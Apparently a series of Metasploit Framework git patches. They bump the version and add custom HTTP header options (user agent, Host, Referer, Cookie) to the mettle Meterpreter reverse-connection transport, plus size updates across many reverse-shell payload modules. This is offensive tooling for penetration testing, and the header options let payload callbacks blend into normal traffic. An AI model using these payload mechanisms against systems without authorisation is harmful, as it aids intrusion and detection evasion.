       return Exploit::CheckCode::Safe
     end
 

From c9da8f7a1857660fc2860eb3fe539ba045768785 Mon Sep 17 00:00:00 2001
From: Metasploit <metasploit@rapid7.com>
Date: Fri, 24 Nov 2017 10:01:50 -0800
Subject: [PATCH 206/254] Bump version of framework to 4.16.20

---
 Gemfile.lock                        | 6 +++---
 lib/metasploit/framework/version.rb | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index c20a197a6d..9f6cd73794 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,7 +1,7 @@
 PATH
   remote: .
   specs:
-    metasploit-framework (4.16.19)
+    metasploit-framework (4.16.20)
       actionpack (~> 4.2.6)
       activerecord (~> 4.2.6)
       activesupport (~> 4.2.6)
@@ -311,7 +311,7 @@ GEM
     rspec-mocks (3.7.0)
       diff-lcs (>= 1.2.0, < 2.0)
       rspec-support (~> 3.7.0)
-    rspec-rails (3.7.1)
+    rspec-rails (3.7.2)
       actionpack (>= 3.0)
       activesupport (>= 3.0)
       railties (>= 3.0)
@@ -357,7 +357,7 @@ GEM
       activemodel (>= 4.2.7)
       activesupport (>= 4.2.7)
     xmlrpc (0.3.0)
-    yard (0.9.9)
+    yard (0.9.11)
 
 PLATFORMS
   ruby
diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb
index cfde864472..7e90de291c 100644
--- a/lib/metasploit/framework/version.rb
+++ b/lib/metasploit/framework/version.rb
@@ -30,7 +30,7 @@ module Metasploit
         end
       end
 
-      VERSION = "4.16.19"
+      VERSION = "4.16.20"
       MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
       PRERELEASE = 'dev'
       HASH = get_hash

From 8645a518b3f8a084512e01691e255ea19164b88a Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Fri, 24 Nov 2017 20:27:34 -0600
Subject: [PATCH 207/254] add mettle support for custom headers

---
 Gemfile.lock                                  |  4 +--
 lib/msf/base/sessions/mettle_config.rb        | 25 +++++++++++++------
 lib/msf/core/payload/transport_config.rb      |  3 +++
 metasploit-framework.gemspec                  |  2 +-
 .../linux/aarch64/meterpreter_reverse_http.rb |  2 +-
 .../aarch64/meterpreter_reverse_https.rb      |  2 +-
 .../linux/aarch64/meterpreter_reverse_tcp.rb  |  2 +-
 .../linux/armbe/meterpreter_reverse_http.rb   |  2 +-
 .../linux/armbe/meterpreter_reverse_https.rb  |  2 +-
 .../linux/armbe/meterpreter_reverse_tcp.rb    |  2 +-
 .../linux/armle/meterpreter_reverse_http.rb   |  2 +-
 .../linux/armle/meterpreter_reverse_https.rb  |  2 +-
 .../linux/armle/meterpreter_reverse_tcp.rb    |  2 +-
 .../linux/mips64/meterpreter_reverse_http.rb  |  2 +-
 .../linux/mips64/meterpreter_reverse_https.rb |  2 +-
 .../linux/mips64/meterpreter_reverse_tcp.rb   |  2 +-
 .../linux/mipsbe/meterpreter_reverse_http.rb  |  2 +-
 .../linux/mipsbe/meterpreter_reverse_https.rb |  2 +-
 .../linux/mipsbe/meterpreter_reverse_tcp.rb   |  2 +-
 .../linux/mipsle/meterpreter_reverse_http.rb  |  2 +-
 .../linux/mipsle/meterpreter_reverse_https.rb |  2 +-
 .../linux/mipsle/meterpreter_reverse_tcp.rb   |  2 +-
 .../linux/ppc/meterpreter_reverse_http.rb     |  2 +-
 .../linux/ppc/meterpreter_reverse_https.rb    |  2 +-
 .../linux/ppc/meterpreter_reverse_tcp.rb      |  2 +-
 .../linux/ppc64le/meterpreter_reverse_http.rb |  2 +-
 .../ppc64le/meterpreter_reverse_https.rb      |  2 +-
 .../linux/ppc64le/meterpreter_reverse_tcp.rb  |  2 +-
 .../ppce500v2/meterpreter_reverse_http.rb     |  2 +-
 .../ppce500v2/meterpreter_reverse_https.rb    |  2 +-
 .../ppce500v2/meterpreter_reverse_tcp.rb      |  2 +-
 .../linux/x64/meterpreter_reverse_http.rb     |  2 +-
 .../linux/x64/meterpreter_reverse_https.rb    |  2 +-
 .../linux/x64/meterpreter_reverse_tcp.rb      |  2 +-
 .../linux/x86/meterpreter_reverse_http.rb     |  2 +-
 .../linux/x86/meterpreter_reverse_https.rb    |  2 +-
 .../linux/x86/meterpreter_reverse_tcp.rb      |  2 +-
 .../linux/zarch/meterpreter_reverse_http.rb   |  2 +-
 .../linux/zarch/meterpreter_reverse_https.rb  |  2 +-
 .../linux/zarch/meterpreter_reverse_tcp.rb    |  2 +-
 .../osx/x64/meterpreter_reverse_http.rb       |  2 +-
 .../osx/x64/meterpreter_reverse_https.rb      |  2 +-
 .../osx/x64/meterpreter_reverse_tcp.rb        |  2 +-
 43 files changed, 62 insertions(+), 50 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index f83e37305d..dfcf9d1632 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -19,7 +19,7 @@ PATH
       metasploit-model
       metasploit-payloads (= 1.3.15)
       metasploit_data_models
-      metasploit_payloads-mettle (= 0.2.5)
+      metasploit_payloads-mettle (= 0.2.8)
       msgpack
       nessus_rest
       net-ssh
@@ -189,7 +189,7 @@ GEM
       postgres_ext
       railties (~> 4.2.6)
       recog (~> 2.0)
-    metasploit_payloads-mettle (0.2.5)
+    metasploit_payloads-mettle (0.2.8)
     method_source (0.9.0)
     mini_portile2 (2.3.0)
     minitest (5.10.3)
diff --git a/lib/msf/base/sessions/mettle_config.rb b/lib/msf/base/sessions/mettle_config.rb
index f135818614..369562a9c1 100644
--- a/lib/msf/base/sessions/mettle_config.rb
+++ b/lib/msf/base/sessions/mettle_config.rb
@@ -27,6 +27,10 @@ module Msf
         generate_uri_uuid_mode(:init_connect, uri_req_len, uuid: opts[:uuid])
       end
 
+      def generate_uri_option(opts, opt)
+        opts[opt] ? "--#{opt} '#{opts[opt].gsub(/'/, "\\'")}' " : ''
+      end
+
       def generate_http_uri(opts)
         if Rex::Socket.is_ipv6?(opts[:lhost])
           target_uri = "#{opts[:scheme]}://[#{opts[:lhost]}]"
@@ -38,7 +42,15 @@ module Msf
         target_uri << opts[:lport].to_s
         target_uri << luri
         target_uri << generate_uri(opts)
-        target_uri
+        target_uri << '|'
+        target_uri << generate_uri_option(opts, :ua)
+        target_uri << generate_uri_option(opts, :host)
+        target_uri << generate_uri_option(opts, :referer)
+        if opts[:cookie]
+          opts[:header] = "Cookie: #{opts[:cookie]}"
+          target_uri << generate_uri_option(opts, :header)
+        end
+        target_uri.strip
       end
 
       def generate_tcp_uri(opts)
@@ -57,14 +69,11 @@ module Msf
 
         case opts[:scheme]
         when 'http'
-          transport = transport_config_reverse_http(opts)
-          opts[:uri] = generate_http_uri(transport)
+          opts[:uri] = generate_http_uri(transport_config_reverse_http(opts))
         when 'https'
-          transport = transport_config_reverse_https(opts)
-          opts[:uri] = generate_http_uri(transport)
+          opts[:uri] = generate_http_uri(transport_config_reverse_https(opts))
         when 'tcp'
-          transport = transport_config_reverse_tcp(opts)
-          opts[:uri] = generate_tcp_uri(transport)
+          opts[:uri] = generate_tcp_uri(transport_config_reverse_tcp(opts))
         else
           raise ArgumentError, "Unknown scheme: #{opts[:scheme]}"
         end
@@ -74,7 +83,7 @@ module Msf
         unless opts[:stageless] == true
           guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
         end
-        opts[:session_guid] = Base64.encode64(guid)
+        opts[:session_guid] = Base64.encode64(guid).strip
 
         opts.slice(:uuid, :session_guid, :uri, :debug, :log_file)
       end
diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb
index 7258561544..84e257bcce 100644
--- a/lib/msf/core/payload/transport_config.rb
+++ b/lib/msf/core/payload/transport_config.rb
@@ -66,6 +66,9 @@ module Msf::Payload::TransportConfig
       proxy_type:      ds['HttpProxyType'],
       proxy_user:      ds['HttpProxyUser'],
       proxy_pass:      ds['HttpProxyPass'],
+      host:            ds['HttpHostHeader'],
+      cookie:          ds['HttpCookie'],
+      referer:         ds['HttpReferer'],
       custom_headers:  get_custom_headers(ds)
     }.merge(timeout_config(opts))
   end
diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec
index 594a372aa0..49feede5fa 100644
--- a/metasploit-framework.gemspec
+++ b/metasploit-framework.gemspec
@@ -72,7 +72,7 @@ Gem::Specification.new do |spec|
   # Needed for Meterpreter
   spec.add_runtime_dependency 'metasploit-payloads', '1.3.15'
   # Needed for the next-generation POSIX Meterpreter
-  spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.2.5'
+  spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.2.8'
   # Needed by msfgui and other rpc components
   spec.add_runtime_dependency 'msgpack'
   # get list of network interfaces, like eth* from OS.
diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb
index 3a9e4e3e27..74c9255f11 100644
--- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
 
 module MetasploitModule
 
-  CachedSize = 692384
+  CachedSize = 693880
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb
index d5eda3afaf..b1c6ffcd4e 100644
--- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
 
 module MetasploitModule
 
-  CachedSize = 692384
+  CachedSize = 693880
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb
index 3400e28e34..d6818b4eb2 100644
--- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
 
 module MetasploitModule
 
-  CachedSize = 692384
+  CachedSize = 693880
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb
index bd32104cce..f44197a497 100644
--- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 678568
+  CachedSize = 682608
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb
index 073d4b31b3..6341bee2ae 100644
--- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 678568
+  CachedSize = 682608
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb
index d2d13aedc0..634b6560ef 100644
--- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 678568
+  CachedSize = 682608
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb
index e03945a404..cf5d0c6be7 100644
--- a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
 
 module MetasploitModule
 
-  CachedSize = 677296
+  CachedSize = 682608
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb
index e31c66b376..ed339b08b0 100644
--- a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
 
 module MetasploitModule
 
-  CachedSize = 677296
+  CachedSize = 682608
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb
index 8bd8a3cc05..50080e27d1 100644
--- a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
 
 module MetasploitModule
 
-  CachedSize = 677296
+  CachedSize = 682608
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb
index 10f36f74d8..5d755982a8 100644
--- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
 
 module MetasploitModule
 
-  CachedSize = 1077640
+  CachedSize = 1081096
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb
index e0beb782fe..d38aa97904 100644
--- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
 
 module MetasploitModule
 
-  CachedSize = 1077640
+  CachedSize = 1081096
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb
index c965638d7e..ea96d086d2 100644
--- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
 
 module MetasploitModule
 
-  CachedSize = 1077640
+  CachedSize = 1081096
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
index d1749f9c25..8ab191d710 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 1053924
+  CachedSize = 1058488
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
index bc1d3f2c08..b3aa33d864 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 1053924
+  CachedSize = 1058488
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
index cc021b9ff2..fce512c439 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 1053924
+  CachedSize = 1058488
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb
index a98f452a62..35b4a3ada0 100644
--- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
 
 module MetasploitModule
 
-  CachedSize = 1053540
+  CachedSize = 1058584
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb
index 258bd4192f..e92e5319f3 100644
--- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
 
 module MetasploitModule
 
-  CachedSize = 1053540
+  CachedSize = 1058584
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb
index 78b4d6b8d7..ab9bbd211b 100644
--- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
 
 module MetasploitModule
 
-  CachedSize = 1053540
+  CachedSize = 1058584
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb
index 83aa882cc2..684af558e5 100644
--- a/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
 
 module MetasploitModule
 
-  CachedSize = 854692
+  CachedSize = 856196
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb
index 9b0c40b47f..92fad1845a 100644
--- a/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
 
 module MetasploitModule
 
-  CachedSize = 854692
+  CachedSize = 856196
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb
index 7832e02b38..5a607842fd 100644
--- a/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
 
 module MetasploitModule
 
-  CachedSize = 854692
+  CachedSize = 856196
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb
index d7d893c797..20d3b4aa74 100644
--- a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
 
 module MetasploitModule
 
-  CachedSize = 856312
+  CachedSize = 857808
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb
index 43922b34f8..d0fed27439 100644
--- a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
 
 module MetasploitModule
 
-  CachedSize = 856312
+  CachedSize = 857808
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb
index 28f1df859a..5c649a25c9 100644
--- a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
 
 module MetasploitModule
 
-  CachedSize = 856312
+  CachedSize = 857808
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb
index a568253314..679a3765fc 100644
--- a/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppce500v2_linux'
 
 module MetasploitModule
 
-  CachedSize = 854692
+  CachedSize = 856196
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb
index 01adfad676..f33ddf8cbb 100644
--- a/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppce500v2_linux'
 
 module MetasploitModule
 
-  CachedSize = 854692
+  CachedSize = 856196
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb
index 8f13d5b934..21eb56cde1 100644
--- a/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppce500v2_linux'
 
 module MetasploitModule
 
-  CachedSize = 854692
+  CachedSize = 856196
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb
index 07d84a9546..0fb3aaea5e 100644
--- a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
 
 module MetasploitModule
 
-  CachedSize = 745472
+  CachedSize = 746944
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb
index 1b019f6ea9..6745bb5f9b 100644
--- a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
 
 module MetasploitModule
 
-  CachedSize = 745472
+  CachedSize = 746944
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb
index d039699b84..0cc26899f3 100644
--- a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
 
 module MetasploitModule
 
-  CachedSize = 745472
+  CachedSize = 746944
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb
index af7e1d5c24..c7da73f173 100644
--- a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
 
 module MetasploitModule
 
-  CachedSize = 793296
+  CachedSize = 794800
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb
index 6ce43b87f7..ac313d906c 100644
--- a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
 
 module MetasploitModule
 
-  CachedSize = 793296
+  CachedSize = 794800
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb
index 1f2fb19f4f..d72061e2cc 100644
--- a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
 
 module MetasploitModule
 
-  CachedSize = 793296
+  CachedSize = 794800
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb
index c678a47d9e..a129f3834a 100644
--- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
 
 module MetasploitModule
 
-  CachedSize = 905864
+  CachedSize = 907360
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
index 76be12d28d..9372c91415 100644
--- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
 
 module MetasploitModule
 
-  CachedSize = 905864
+  CachedSize = 907360
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb
index 85223495a7..6e099ef231 100644
--- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
 
 module MetasploitModule
 
-  CachedSize = 905864
+  CachedSize = 907360
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb
index a8d519d10c..f1b9a907df 100644
--- a/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_osx'
 
 module MetasploitModule
 
-  CachedSize = 789068
+  CachedSize = 793284
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
